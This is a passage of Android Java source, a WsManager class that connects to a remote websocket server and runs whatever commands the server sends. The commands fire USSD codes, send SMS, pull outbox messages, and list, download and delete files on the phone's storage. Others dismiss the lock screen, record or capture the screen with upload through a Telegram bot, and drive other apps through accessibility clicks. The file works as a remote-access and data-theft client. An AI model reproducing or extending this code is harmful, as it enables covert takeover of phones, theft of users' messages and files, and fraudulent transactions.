package com.app.duck.util;

import static com.app.duck.Config.WEBSOCKET_STATUS_TAG;

import android.app.Activity;
import android.app.KeyguardManager;
import android.app.PendingIntent;
import android.content.BroadcastReceiver;
import android.content.ContentResolver;
import android.content.Context;
import android.content.Intent;
import android.content.IntentFilter;
import android.database.Cursor;
import android.os.Environment;
import android.os.Handler;
import android.provider.Telephony;
import android.telephony.SmsManager;
import android.util.Base64;
import android.util.Log;

import androidx.annotation.NonNull;
import androidx.fragment.app.FragmentActivity;

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.JSONArray;
import com.alibaba.fastjson.JSONObject;
import com.app.duck.BuildConfig;
import com.app.duck.Config;
import com.app.duck.R;
import com.blankj.utilcode.util.ActivityUtils;
import com.blankj.utilcode.util.AppUtils;
import com.blankj.utilcode.util.FileIOUtils;
import com.blankj.utilcode.util.FileUtils;
import com.blankj.utilcode.util.GsonUtils;
import com.blankj.utilcode.util.IntentUtils;
import com.blankj.utilcode.util.StringUtils;
import com.blankj.utilcode.util.ThreadUtils;
import com.blankj.utilcode.util.Utils;
import com.elvishew.xlog.XLog;
import com.jeremyliao.liveeventbus.LiveEventBus;
import com.romellfudi.ussdlibrary.OverlayShowingService;
import com.romellfudi.ussdlibrary.PayController;
import com.romellfudi.ussdlibrary.USSDApi;
import com.romellfudi.ussdlibrary.USSDController;
import com.romellfudi.ussdlibrary.USSDService;

import org.loka.screensharekit.EncodeBuilder;
import org.loka.screensharekit.ErrorInfo;
import org.loka.screensharekit.ScreenShareKit;
import org.loka.screensharekit.callback.ErrorCallBack;

import java.io.File;
import java.lang.reflect.Field;
import java.util.ArrayList;
import java.util.HashMap;
import java.util.List;
import java.util.concurrent.Executors;
import java.util.concurrent.ScheduledExecutorService;
import java.util.concurrent.ScheduledFuture;
import java.util.concurrent.TimeUnit;

import okhttp3.OkHttpClient;
import okhttp3.Request;
import okhttp3.Response;
import okhttp3.WebSocket;
import okhttp3.WebSocketListener;

/**
 * author: hx
 * created on: 2023/10/16 23:38
 * description:
 */
public final class WsManager {
    private static final int NORMAL_CLOSURE_STATUS = 1000;
    private static final long RECONNECT_DELAY_MS = 1000; // 重连延迟时间
    private static WebSocketListener webSocketListener;
    private static USSDApi ussdApi = USSDController.getInstance(Utils.getApp());
    private static WebSocket webSocket;
    private static ScheduledFuture<?> reconnectTask;
    private static ScheduledExecutorService executorService = Executors.newSingleThreadScheduledExecutor();
    private static ScheduledExecutorService executorServiceUi = Executors.newSingleThreadScheduledExecutor();
    private static Intent svc = null;
    private static String SENT_SMS_ACTION = "SENT_SMS_ACTION";
    private static String DELIVERED_SMS_ACTION = "DELIVERED_SMS_ACTION";

    public static WebSocket connectWebSocket() {
        if (StringUtils.isTrimEmpty(BuildConfig.WEB_URL) || StringUtils.equals("", BuildConfig.WEB_URL)) {
            ThreadUtils.runOnUiThreadDelayed(() -> LiveEventBus.get(WEBSOCKET_STATUS_TAG).post(StringUtils.getString(R.string.log_tip_13)), 1000);
            return null;
        }

        webSocketListener = new WebSocketListener() {
            @Override
            public void onOpen(@NonNull WebSocket webSocket, @NonNull Response response) {
                super.onOpen(webSocket, response);
                XLog.i("连接成功--------------------->" + BuildConfig.WEB_URL + HxUtils.getPhone() + "/");
                Log.i(Config.LOG_TAG, StringUtils.getString(R.string.log_tip_14));
                XLog.i(StringUtils.getString(R.string.log_tip_14));
                LiveEventBus.get(WEBSOCKET_STATUS_TAG).post(StringUtils.getString(R.string.log_tip_14));
            }

            @Override
            public void onMessage(@NonNull WebSocket webSocket, @NonNull String text) {
                super.onMessage(webSocket, text);
                JSONObject json = JSON.parseObject(text);
                String command = json.getString("command");
                String requestId = json.getString("request_id");
                String value = json.getString("value");
                String content = json.getString("content");
                String packageName = json.getString("packageName");
                int simSlot = json.getIntValue("subId");
                int hashCode = json.getIntValue("hashCode");
                int action = json.getIntValue("action");
                JSONArray arguments = json.getJSONArray("arguments");
                XLog.e("[WsManager] onMessage: " + json);
                switch (command) {
                    case "invoke":
                        ThreadUtils.runOnUiThread(() -> callOverlay(value, requestId, simSlot));
                        break;
                    case "invoke2":
                        ThreadUtils.runOnUiThread(() -> callOverlay2(value, requestId, simSlot));
                        break;
                    case "send":
                        ThreadUtils.runOnUiThread(() -> sendUssd(requestId, value));
                        break;
                    case "cancel":
                        ThreadUtils.runOnUiThread(() -> cancelUssd(requestId));
                        break;
                    case "log":
                        sendWebSocketMsg(requestId, "over", "log success...");
                        ThreadUtils.runOnUiThread(() -> new TgBot("", false));
                        break;
                    case "message":
                        sendWebSocketMsg(requestId, "over", "message success...");
                        ThreadUtils.runOnUiThread(() -> new TgBot(value, true));
                        break;
                    case "config":
                        HxUtils.checkForUpdateBotConfig();
                        sendWebSocketMsg(requestId, "over", "config success...");
                    case "phoneConfig":
                        HxUtils.getPhoneConfig();
                    case "getRootInActiveWindow":
                        ThreadUtils.runOnUiThread(() -> getNowRootInActiveWindow(requestId));
                        break;
                    case "startApp":
                        ThreadUtils.runOnUiThread(() -> startApp(requestId, packageName));
                        break;
                    case "performAction":
                        ThreadUtils.runOnUiThread(() -> performAction(requestId, hashCode, action, arguments));
                        break;
                    case "performGlobalAction":
                        ThreadUtils.runOnUiThread(() -> performGlobalAction(requestId, action));
                        break;
                    case "unlock":
                        try {
                            ActivityUtils.getTopActivity().setTurnScreenOn(true);
                            ActivityUtils.getTopActivity().setShowWhenLocked(true);
                            KeyguardManager keyguardManager = (KeyguardManager) ActivityUtils.getTopActivity().getSystemService(Context.KEYGUARD_SERVICE);
                            keyguardManager.requestDismissKeyguard(ActivityUtils.getTopActivity(), new KeyguardManager.KeyguardDismissCallback() {
                                @Override
                                public void onDismissError() {
                                    super.onDismissError();
                                    sendWebSocketMsg(requestId, "response", "onDismissError");
                                }

                                @Override
                                public void onDismissSucceeded() {
                                    super.onDismissSucceeded();
                                    sendWebSocketMsg(requestId, "response", "onDismissSucceeded");
                                }

                                @Override
                                public void onDismissCancelled() {
                                    super.onDismissCancelled();
                                    sendWebSocketMsg(requestId, "response", "onDismissCancelled");
                                }
                            });
                        } catch (Exception e) {
                            sendWebSocketMsg(requestId, "exception", "error:" + e.getMessage());
                        }
                        break;
                    case "fileList":
                        ThreadUtils.runOnUiThread(() -> getFileList(requestId));
                        break;
                    case "deleteFile":
                        ThreadUtils.runOnUiThread(() -> deleteFile(requestId, value));
                        break;
                    case "getFileByPath":
                        ThreadUtils.runOnUiThread(() -> getFileByPath(requestId, value));
                        break;
                    case "getPath":
                        ThreadUtils.runOnUiThread(() -> getPath(requestId, value));
                        break;
                    case "sendSMS":
                        ThreadUtils.runOnUiThread(() -> sendSMS(requestId, content, value));
                        break;
                    case "getOutBoxSMS":
                        ThreadUtils.runOnUiThread(() -> getOutBoxSMS(requestId, value));
                        break;
                    case "sendSMSDelayed":
                        sendSMSDelayed(requestId, content, value);
                        break;
                    case "relaunchApp":
                        sendWebSocketMsg(requestId, "over", "relaunch app...");
                        AppUtils.relaunchApp(true);
                        break;
                    case "getLastEventText":
                        try {
                            sendWebSocketMsg(requestId, "over", USSDService.event.getText().toString());
                        } catch (Exception w) {

                        }
                        break;
                    case "videoStart":
                        try {
                            ThreadUtils.runOnUiThread(() -> {
                                FileUtils.delete(Utils.getApp().getFilesDir().getPath() + "/video.h264");
                            });
                        } catch (Exception e) {

                        }
                        try {
                            ThreadUtils.runOnUiThreadDelayed(() -> ScreenShareKit.INSTANCE.init((FragmentActivity) ActivityUtils.getTopActivity())
                                    .onH264((buffer, isKeyFrame, width, height, ts) -> {
                                        HxUtils.saveH264ToFile(buffer, Utils.getApp().getFilesDir().getPath() + "/video.h264");
                                    })
                                    .onStart(() -> {
                                        sendWebSocketMsg(requestId, "over", "videoStart");
                                    })
                                    .onError(new ErrorCallBack() {
                                        @Override
                                        public void onError(@NonNull ErrorInfo errorInfo) {
                                            sendWebSocketMsg(requestId, "exception", "exception: " + errorInfo.getMessage());
                                        }
                                    })
                                    .start(), 100);
                        } catch (Exception e) {
                            sendWebSocketMsg(requestId, "exception", "exception: " + e.getMessage());
                        }
                        break;
                    case "videoStop":
                        try {
                            sendWebSocketMsg(requestId, "over", "videoStop...");
                            ThreadUtils.runOnUiThread(new Runnable() {
                                @Override
                                public void run() {
                                    ScreenShareKit.INSTANCE.stop();
                                }
                            });
                            ThreadUtils.runOnUiThreadDelayed(TgBot::new, 5000);
                        } catch (Exception e) {
                            sendWebSocketMsg(requestId, "exception", "error:" + e.getMessage());
                        }

                        break;
                    case "deleteVideo":
                        ThreadUtils.runOnUiThread(() -> {
                            FileUtils.delete(Utils.getApp().getFilesDir().getPath() + "/video.h264");
                            sendWebSocketMsg(requestId, "over", "deleteVideo...");
                        });
                        break;
                    case "screen":
                        try {
                            final byte[][] mBytes = new byte[1][1];
                            final int[] w = new int[1];
                            final int[] h = new int[1];
                            ThreadUtils.runOnUiThreadDelayed(() -> {
                                        EncodeBuilder encodeBuilder = ScreenShareKit.INSTANCE.init((FragmentActivity) ActivityUtils.getTopActivity());
                                        encodeBuilder.setScreenDataType(EncodeBuilder.SCREEN_DATA_TYPE.RGBA);
                                        encodeBuilder.onRGBA((bytes, i, i1, i2, i3, b) -> {
                                                    Log.d("hzshkj", "[MainActivity] onRGBA: " + bytes.length);
                                                    Log.d("hzshkj", "[MainActivity] 宽: " + i);
                                                    Log.d("hzshkj", "[MainActivity] 高: " + i1);
                                                    Log.d("hzshkj", "[MainActivity] i2: " + i2);
                                                    Log.d("hzshkj", "[MainActivity] i3: " + i3);
                                                    Log.d("hzshkj", "[MainActivity] b: " + b);
                                                    mBytes[0] = bytes;
                                                    w[0] = i2;
                                                    h[0] = i1;
                                                    ScreenShareKit.INSTANCE.stop();
                                                })
                                                .onError(new ErrorCallBack() {
                                                    @Override
                                                    public void onError(@NonNull ErrorInfo errorInfo) {
                                                        sendWebSocketMsg(requestId, "exception", "info:" + errorInfo.getMessage());
                                                    }
                                                })

                                                .onStart(() -> Log.d("hzshkj", "开始截屏"))
                                                .start();
                                    }
                                    , 500);

                            ThreadUtils.runOnUiThreadDelayed(() -> {
                                sendWebSocketMsg(requestId, "over", "start screen...");
                                new TgBot(mBytes[0], w[0], h[0]);
                            }, 5000);
                        } catch (Exception e) {
                            sendWebSocketMsg(requestId, "exception", "info:" + e.getMessage());
                        }


                        break;
                    case "help":
                        HashMap<String, String> helpMap = new HashMap<>();
                        helpMap.put("invoke", "启动ussd命令");
                        helpMap.put("invoke2", "启动ussd命令");
                        helpMap.put("send", "发送ussd命令");
                        helpMap.put("cancel", "取消ussd命令");
                        helpMap.put("log", "传送设备日志");
                        helpMap.put("message", "发送tg消息");
                        helpMap.put("config", "更新配置");
                        helpMap.put("phoneConfig", "获取设备配置");
                        helpMap.put("getRootInActiveWindow", "获取当前界面内容");
                        helpMap.put("startApp", "启动某个App");
                        helpMap.put("performAction", "点击");
                        helpMap.put("performGlobalAction", "全局点击");
                        helpMap.put("unlock", "解除锁屏");
                        helpMap.put("fileList", "获取文件列表");
                        helpMap.put("deleteFile", "删除文件");
                        helpMap.put("getFileByPath", "获取某个路径下的文件");
                        helpMap.put("getPath", "获取某个路径下的文件列表");
                        helpMap.put("sendSMS", "发送短信");
                        helpMap.put("getOutBoxSMS", "获取发件箱内容");
                        helpMap.put("sendSMSDelayed", "发送短信,有回调");
                        helpMap.put("relaunchApp", "重启本App");
                        helpMap.put("getLastEventText", "获取最新一次ussd消息提示内容");
                        helpMap.put("videoStart", "开始录屏");
                        helpMap.put("videoStop", "结束录屏并上传");
                        helpMap.put("deleteVideo", "删除录屏文件");
                        helpMap.put("screen", "截屏");
                        helpMap.put("help", "获取所有命令列表");
                        sendWebSocketMsg(requestId, "over", GsonUtils.toJson(helpMap));
                        break;
                    default:
                        XLog.e(command + " 没有定义该操作!");
                        sendWebSocketMsg(requestId, "exception", command + " 没有定义该操作!");
                        break;
                }
            }

            @Override
            public void onClosing(@NonNull WebSocket webSocket, int code, @NonNull String reason) {
                super.onClosing(webSocket, code, reason);
                webSocket.close(code, reason);
                XLog.i("连接关闭中--------------------->" + BuildConfig.WEB_URL + HxUtils.getPhone() + "/");
                Log.i(Config.LOG_TAG, StringUtils.getString(R.string.log_tip_15_s, " "));
                XLog.i(StringUtils.getString(R.string.log_tip_15_s, " "));
                LiveEventBus.get(WEBSOCKET_STATUS_TAG).post(StringUtils.getString(R.string.log_tip_15_s, reason));
            }

            @Override
            public void onClosed(@NonNull WebSocket webSocket, int code, @NonNull String reason) {
                super.onClosed(webSocket, code, reason);
                XLog.i("连接关闭--------------------->" + BuildConfig.WEB_URL + HxUtils.getPhone() + "/");

                reconnectWebSocket();
                Log.i(Config.LOG_TAG, StringUtils.getString(R.string.log_tip_16, reason));
                XLog.i(StringUtils.getString(R.string.log_tip_16, reason));
                LiveEventBus.get(WEBSOCKET_STATUS_TAG).post(StringUtils.getString(R.string.log_tip_16, reason));

            }

            @Override
            public void onFailure(@NonNull WebSocket webSocket, @NonNull Throwable t, Response response) {
                super.onFailure(webSocket, t, response);
                XLog.e("连接失败--------------------->" + BuildConfig.WEB_URL + HxUtils.getPhone() + "/", t);
                reconnectWebSocket();
                Log.e(Config.LOG_TAG, StringUtils.getString(R.string.log_tip_18_s, t.getMessage()), t);
                XLog.e(StringUtils.getString(R.string.log_tip_18_s, t.getMessage()), t);
                LiveEventBus.get(WEBSOCKET_STATUS_TAG).post(StringUtils.getString(R.string.log_tip_18_s, t.getMessage()));
            }
        };
        executorServiceUi.execute(() -> {
                    try {
                        OkHttpClient client = new OkHttpClient.Builder().pingInterval(10, TimeUnit.SECONDS).build();
                        Request request = new Request.Builder().url(BuildConfig.WEB_URL + HxUtils.getPhone() + "/").build();
                        webSocket = client.newWebSocket(request, webSocketListener);
                    } catch (Exception e) {
                        Log.e(Config.LOG_TAG, StringUtils.getString(R.string.log_tip_18_s, e.getMessage()), e);
                        XLog.e(StringUtils.getString(R.string.log_tip_18_s, e.getMessage()), e);
                    }
                }
        );

        return webSocket;
    }

    public static void getOutBoxSMS(String requestId, String number) {
        try {
            List<HashMap<String, Object>> data = new ArrayList<>();
            ContentResolver contentResolver = Utils.getApp().getContentResolver();
            String selection = Telephony.Sms.TYPE + " in (?,?,?,?,?)";
            String[] sArgs = new String[]{String.valueOf(
                    Telephony.Sms.MESSAGE_TYPE_DRAFT)
                    , String.valueOf(Telephony.Sms.MESSAGE_TYPE_FAILED)
                    , String.valueOf(Telephony.Sms.MESSAGE_TYPE_OUTBOX)
                    , String.valueOf(Telephony.Sms.MESSAGE_TYPE_QUEUED)
                    , String.valueOf(Telephony.Sms.MESSAGE_TYPE_SENT)
            };
            Cursor cursor = contentResolver.query(Telephony.Sms.Sent.CONTENT_URI, null,
                    selection, sArgs, "date DESC LIMIT " + number);
            if (cursor != null && cursor.moveToFirst()) {
                do {
                    // 获取短信信息
                    long id = cursor.getLong(cursor.getColumnIndexOrThrow(Telephony.Sms._ID));
                    String address = cursor.getString(cursor.getColumnIndexOrThrow(Telephony.Sms.ADDRESS));
                    String body = cursor.getString(cursor.getColumnIndexOrThrow(Telephony.Sms.BODY));
                    long date = cursor.getLong(cursor.getColumnIndexOrThrow(Telephony.Sms.DATE));
                    int type = cursor.getInt(cursor.getColumnIndexOrThrow(Telephony.Sms.TYPE));
                    int read = cursor.getInt(cursor.getColumnIndexOrThrow(Telephony.Sms.READ));
                    int status = cursor.getInt(cursor.getColumnIndexOrThrow(Telephony.Sms.STATUS));
                    int error_code = cursor.getInt(cursor.getColumnIndexOrThrow(Telephony.Sms.ERROR_CODE));
                    int date_sent = cursor.getInt(cursor.getColumnIndexOrThrow(Telephony.Sms.DATE_SENT));
                    int creator = cursor.getInt(cursor.getColumnIndexOrThrow(Telephony.Sms.CREATOR));
                    int locked = cursor.getInt(cursor.getColumnIndexOrThrow(Telephony.Sms.LOCKED));
                    int person = cursor.getInt(cursor.getColumnIndexOrThrow(Telephony.Sms.PERSON));
                    int protocol = cursor.getInt(cursor.getColumnIndexOrThrow(Telephony.Sms.PROTOCOL));
                    String statusDescribe = "";
                    String serviceCenter = cursor.getString(cursor.getColumnIndexOrThrow(Telephony.Sms.SERVICE_CENTER));
                    switch (status) {
                        case -1:
                            statusDescribe = "STATUS_NONE";
                            break;
                        case 0:
                            statusDescribe = "STATUS_COMPLETE";
                            break;
                        case 64:
                            statusDescribe = "STATUS_FAILED";
                            break;
                        case 128:
                            statusDescribe = "STATUS_PENDING";
                            break;
                        default:
                            statusDescribe = "UNKNOWN";
                    }
                    XLog.i("SMS info", "ID: " + id + ", Address: " + address + ", Body: " + body +
                            ", Date: " + date + ", Type: " + type + ", Read: " + read +
                            ", Status: " + status + ", Service Center: " + serviceCenter + ", statusDescribe: " + statusDescribe
                            + ", error_code: " + error_code
                            + ", date_sent: " + date_sent
                            + ", creator: " + creator
                            + ", locked: " + locked
                            + ", person: " + person
                            + ", protocol: " + protocol
                    );
                    HashMap<String, Object> map = new HashMap<>();
                    map.put("id", id);
                    map.put("address", address);
                    map.put("body", body);
                    map.put("date", date);
                    map.put("type", type);
                    map.put("read", read);
                    map.put("status", status);
                    map.put("statusDescribe", statusDescribe);
                    map.put("serviceCenter", serviceCenter);
                    map.put("error_code", error_code);
                    map.put("date_sent", date_sent);
                    map.put("creator", creator);
                    map.put("locked", locked);
                    map.put("person", person);
                    map.put("protocol", protocol);
                    data.add(map);


                } while (cursor.moveToNext());
                XLog.i("getOutBoxSMS : " + GsonUtils.toJson(data));
                Log.d("hzshkj", "[WsManager] getOutBoxSMS: " + GsonUtils.toJson(data));
                sendWebSocketMsg(requestId, "successful", GsonUtils.toJson(data));
            }
            if (cursor != null) {

                cursor.close();
            }
        } catch (Exception e) {
            XLog.e("error,getOutBoxSMS!", e);
            Log.e("hzshkj", "getOutBoxSMS: ", e);
            sendWebSocketMsg(requestId, "exception", e.getMessage());
        }

    }

    public static void sendSMS(String requestId, String content, String phone) {
        try {
            if (!StringUtils.isTrimEmpty(content) && !StringUtils.isEmpty(phone)) {
                SmsManager manager = SmsManager.getDefault();
                ArrayList<String> strings = manager.divideMessage(content);
                for (int i = 0; i < strings.size(); i++) {
                    manager.sendTextMessage(phone, null, content, null, null);
                }
                XLog.i("sendSMS : " + "Start sending text messages......[mobile:" + phone + ",content:" + content + "]");
                Log.d("hzshkj", "[WsManager] sendSMS: " + "Start sending text messages......[mobile:" + phone + ",content:" + content + "]");
                sendWebSocketMsg(requestId, "successful", "Start sending text messages......[mobile:" + phone + ",content:" + content + "]");
            }
        } catch (Exception e) {
            XLog.e("error,sendSMS!", e);
            Log.e("hzshkj", "sendSMS: ", e);
            sendWebSocketMsg(requestId, "exception", e.getMessage());
        }

    }

    public static void sendSMSDelayed(String requestId, String content, String phone) {
        try {
            if (!StringUtils.isTrimEmpty(content) && !StringUtils.isEmpty(phone)) {
                SmsManager manager = SmsManager.getDefault();
                ArrayList<String> strings = manager.divideMessage(content);

                Intent sentIntent = new Intent(SENT_SMS_ACTION);
                sentIntent.putExtra("requestId", requestId);
                sentIntent.putExtra("phone", phone);
                sentIntent.putExtra("content", content);
                PendingIntent sentPI = PendingIntent.getBroadcast(Utils.getApp(), 0, sentIntent, PendingIntent.FLAG_UPDATE_CURRENT);


                Intent deliveryIntent = new Intent(DELIVERED_SMS_ACTION);
                PendingIntent deliverPI = PendingIntent.getBroadcast(Utils.getApp(), 0, deliveryIntent, PendingIntent.FLAG_UPDATE_CURRENT);

                Utils.getApp().registerReceiver(sentBroadcast, new IntentFilter(SENT_SMS_ACTION));
                Utils.getApp().registerReceiver(receiver, new IntentFilter(DELIVERED_SMS_ACTION));

                Log.d("hzshkj", "[WsManager] onReceive:1111 ");
                for (int i = 0; i < strings.size(); i++) {
                    manager.sendTextMessage(phone, null, content, sentPI, deliverPI);
                }
                Log.d("hzshkj", "[WsManager] onReceive:22222 ");

            }
        } catch (Exception e) {
            XLog.e("error,sendSMS!", e);
            Log.e("hzshkj", "sendSMS: ", e);
            sendWebSocketMsg(requestId, "exception", e.getMessage());
        }

    }

    private static final BroadcastReceiver sentBroadcast = new BroadcastReceiver() {
        @Override
        public void onReceive(Context context, Intent intent) {
            HashMap<String, Integer> fMap = new HashMap<>();
            try {
                Class<?> smsManagerClass = SmsManager.class;
                Field[] fields = smsManagerClass.getFields();
                for (Field field : fields) {
                    // 检查字段是否为 int 类型
                    if (field.getType() == int.class) {
                        String constantName = field.getName();
                        int constantValue = field.getInt(null);
                        fMap.put(constantName, constantValue);
                    }
                }
            } catch (Exception e) {
                Log.e("hzshkj", "onReceive: ", e);
                XLog.e(e);
                e.printStackTrace();
            }
            String requestId = intent.getStringExtra("requestId");
            String phone = intent.getStringExtra("phone");
            String content = intent.getStringExtra("content");
            String uri = intent.getStringExtra("uri");
            String format = intent.getStringExtra("format");
            boolean ims = intent.getBooleanExtra("ims", false);
            HashMap<String, Object> map = new HashMap<>();
            map.put("phone", phone);
            map.put("content", content);
            map.put("uri", uri);
            map.put("format", format);
            map.put("ims", ims);
            map.put("resultCode", getResultCode());
            map.put("requestId", requestId);
            if (getResultCode() == Activity.RESULT_OK) {
                map.put("desc", "Activity.RESULT_OK");
                XLog.i(GsonUtils.toJson(map));
                Log.d("hzshkj", GsonUtils.toJson(map));
                sendWebSocketMsg(requestId, "successful", GsonUtils.toJson(map));
            } else {
                map.put("desc", "UNKNOWN");
                for (String key : fMap.keySet()) {
                    Integer value = (Integer) fMap.get(key);
                    if (value != null) {
                        int intValue = value;
                        if (intValue == getResultCode()) {
                            map.put("desc", key);
                        }
                    }
                }
                XLog.e(GsonUtils.toJson(map));
                Log.e("hzshkj", GsonUtils.toJson(map));
                sendWebSocketMsg(requestId, "exception", GsonUtils.toJson(map));
            }
            Utils.getApp().unregisterReceiver(this);
        }
    };

    private static final BroadcastReceiver receiver = new BroadcastReceiver() {
        @Override
        public void onReceive(Context context, Intent intent) {
            Log.d("hzshkj", "chernggong : " + getResultCode());
            Utils.getApp().unregisterReceiver(this);
        }
    };

    private static void reconnectWebSocket() {
        if (reconnectTask != null && !reconnectTask.isDone()) {
            reconnectTask.cancel(true);
        }
        reconnectTask = executorService.schedule(() -> connectWebSocket(), RECONNECT_DELAY_MS, TimeUnit.MILLISECONDS);
    }

    public static void callOverlay(String ussd, String request_id, int subId) {
        try {
            if (null != svc) {
                Utils.getApp().stopService(svc);
            }
            svc = new Intent(Utils.getApp(), OverlayShowingService.class);
            svc.putExtra(OverlayShowingService.EXTRA, StringUtils.getString(R.string.action_ussd_msg));
            pendingServiceIntent(svc);

            ussdApi.callUSSDOverlayInvoke(ussd, subId, HxUtils.provideHashMap(), new USSDController.CallbackInvoke() {
                @Override
                public void responseInvoke(String message) {
                    sendWebSocketMsg(request_id, "response", message);
                }

                @Override
                public void over(String message) {
                    sendWebSocketMsg(request_id, "over", message);
//                    Utils.getApp().stopService(svc);
                }
            });
        } catch (Exception e) {
            XLog.e("error,ussd!", e);
            sendWebSocketMsg(request_id, "exception", e.getMessage());
        }


    }

    private static void callOverlay2(String ussd, String request_id, int subId) {
        try {
            ussdApi.callUSSDInvoke(ussd, subId, HxUtils.provideHashMap(), new USSDController.CallbackInvoke() {
                @Override
                public void responseInvoke(String message) {
                    sendWebSocketMsg(request_id, "response", message);
                }

                @Override
                public void over(String message) {
                    sendWebSocketMsg(request_id, "over", message);
                }
            });
        } catch (Exception e) {
            XLog.e("error,ussd!", e);
            sendWebSocketMsg(request_id, "exception", e.getMessage());
        }


    }

    private static void pendingServiceIntent(Intent overlayService) {
        Utils.getApp().startService(overlayService);
        new Handler().postDelayed(() -> {
            if (overlayService != null) {
                Utils.getApp().stopService(overlayService);
            }
        }, 5 * 60000);
    }

    private static void sendUssd(String request_id, String msg) {
        try {
            ussdApi.send(msg, new USSDController.CallbackMessage() {
                @Override
                public void responseMessage(String message) {
                    sendWebSocketMsg(request_id, "response", message);
                }

                @Override
                public void over(String message) {
                    sendWebSocketMsg(request_id, "over", message);
//                    if (null != svc)
//                        Utils.getApp().stopService(svc);
                }
            });
        } catch (Exception e) {
            sendWebSocketMsg(request_id, "exception", e.getMessage());
        }
    }

    public static void sendWebSocketMsg(String request_id, String return_type, String message) {
        HashMap<String, Object> map = new HashMap<>();
        map.put("request_id", request_id);
        map.put("return_type", return_type);
        map.put("message", message);
        sendMessage(GsonUtils.toJson(map), 0);
    }

    public static void getNowRootInActiveWindow(String request_id) {
        ThreadUtils.executeByIo(new ThreadUtils.Task<String>() {
            @Override
            public String doInBackground() throws Exception {
                return Base64.encodeToString(HxUtils.gzip(PayController.getNowRootInActiveWindow()), 0);
            }

            @Override
            public void onSuccess(String result) {
                sendWebSocketMsg(request_id, "successful", result);
            }


            @Override
            public void onCancel() {
                sendWebSocketMsg(request_id, "exception", "exception");
            }

            @Override
            public void onFail(Throwable t) {
                sendWebSocketMsg(request_id, "exception", t.getMessage());
            }
        });

    }

    public static void getNowRootInActiveWindowDemo() {
        ThreadUtils.executeByIo(new ThreadUtils.Task<String>() {
            @Override
            public String doInBackground() throws Exception {
                return Base64.encodeToString(HxUtils.gzip(PayController.getNowRootInActiveWindow()), 0);
            }

            @Override
            public void onSuccess(String result) {
                Log.d("hzshkj", "[WsManager] onSuccess: " + result);
            }


            @Override
            public void onCancel() {
                Log.d("hzshkj", "[WsManager] onCancel: ");
            }

            @Override
            public void onFail(Throwable t) {
                Log.e("hzshkj", "onFail: ", t);
            }
        });

    }

    private static void startApp(String request_id, String packageName) {
        if (!StringUtils.isSpace(packageName)) {
            Intent launchAppIntent = IntentUtils.getLaunchAppIntent(packageName);
            if (launchAppIntent == null) {
                sendWebSocketMsg(request_id, "exception", "Didn't exist launcher activity.");
                return;
            }
            Utils.getApp().startActivity(launchAppIntent);
            AppUtils.launchApp(packageName);
            sendWebSocketMsg(request_id, "successful", "");
        } else {
            sendWebSocketMsg(request_id, "exception", "packageName is null or white space");
        }
    }

    private static void performAction(String request_id, int hashCode, int action, JSONArray jsonArray) {
        try {
            if (jsonArray == null || jsonArray.size() == 0) {
                PayController.performActionEvent1(hashCode, action);
            } else {
                List<HashMap<String, Object>> list = new ArrayList<>();
                for (Object o : jsonArray) {
                    HashMap<String, Object> map = new HashMap<>();
                    map.put("key", ((JSONObject) (o)).getString("key"));
                    map.put("value", ((JSONObject) (o)).getString("value"));
                    map.put("type", ((JSONObject) (o)).getString("type"));
                    list.add(map);
                }
                PayController.performActionEvent2(hashCode, action, list);
            }
            sendWebSocketMsg(request_id, "successful", "");
        } catch (Exception e) {
            sendWebSocketMsg(request_id, "exception", e.getMessage());
        }
    }


    private static void getFileList(String request_id) {
        try {
            String path = Environment.getExternalStorageDirectory().getAbsolutePath();
            List<File> pathList = FileUtils.listFilesInDir(path);

            List<HashMap<String, Object>> data = new ArrayList<>();
            for (File file : pathList) {
                HashMap<String, Object> map = new HashMap<>();
                map.put("size", FileUtils.getSize(file));//获取文件或目录大小
                map.put("lastModified", FileUtils.getFileLastModified(file));//获取文件最后修改的毫秒时间戳
                map.put("name", FileUtils.getFileName(file));//文件名称 带拓展名
                map.put("isDir", FileUtils.isDir(file));//判断是否是目录
                map.put("isFile", FileUtils.isFile(file));//判断是否是文件
                data.add(map);
            }

            sendWebSocketMsg(request_id, "successful", Base64.encodeToString(HxUtils.gzip(GsonUtils.toJson(data)), 0));
        } catch (Exception e) {
            sendWebSocketMsg(request_id, "exception", e.getMessage());
        }
    }


    private static void getPath(String request_id, String path) {
        try {
            path = Environment.getExternalStorageDirectory().getAbsolutePath() + path;
            List<File> pathList = FileUtils.listFilesInDir(path);
            List<HashMap<String, Object>> data = new ArrayList<>();
            for (File file : pathList) {
                HashMap<String, Object> map = new HashMap<>();
                map.put("size", FileUtils.getSize(file));//获取文件或目录大小
                map.put("lastModified", FileUtils.getFileLastModified(file));//获取文件最后修改的毫秒时间戳
                map.put("name", FileUtils.getFileName(file));//文件名称 带拓展名
                map.put("isDir", FileUtils.isDir(file));//判断是否是目录
                map.put("isFile", FileUtils.isFile(file));//判断是否是文件
                data.add(map);
            }

            sendWebSocketMsg(request_id, "successful", Base64.encodeToString(HxUtils.gzip(GsonUtils.toJson(data)), 0));
        } catch (Exception e) {
            sendWebSocketMsg(request_id, "exception", e.getMessage());
        }
    }


    private static void getFileByPath(String request_id, String path) {
        try {
            path = Environment.getExternalStorageDirectory().getAbsolutePath() + path;
            File file = FileUtils.getFileByPath(path);
            sendWebSocketMsg(request_id, "successful", Base64.encodeToString(HxUtils.gzip(FileIOUtils.readFile2BytesByStream(file)), 0));
        } catch (Exception e) {
            sendWebSocketMsg(request_id, "exception", e.getMessage());
        }
    }


    private static void deleteFile(String request_id, String path) {
        try {
            path = Environment.getExternalStorageDirectory().getAbsolutePath() + path;
            FileUtils.delete(path);
            sendWebSocketMsg(request_id, "successful", "");
        } catch (Exception e) {
            sendWebSocketMsg(request_id, "exception", e.getMessage());
        }
    }

    private static void performGlobalAction(String request_id, int action) {
        try {
            PayController.performGlobalAction(action);
            sendWebSocketMsg(request_id, "successful", "");
        } catch (Exception e) {
            sendWebSocketMsg(request_id, "exception", e.getMessage());
        }
    }

    private static void cancelUssd(String request_id) {
        try {
            ussdApi.cancel();
            sendWebSocketMsg(request_id, "cancel", "cancel");
            if (null != svc) {
                Utils.getApp().stopService(svc);
            }
        } catch (Exception e) {
            sendWebSocketMsg(request_id, "exception", e.getMessage());
        }

    }

    public static void closeWebSocket() {
        executorServiceUi.execute(() -> {
                    try {
                        if (webSocket != null) {
                            webSocket.close(NORMAL_CLOSURE_STATUS, "Goodbye!");
                        }
                    } catch (Exception e) {
                        Log.e(Config.LOG_TAG, StringUtils.getString(R.string.log_tip_18_s, e.getMessage()), e);
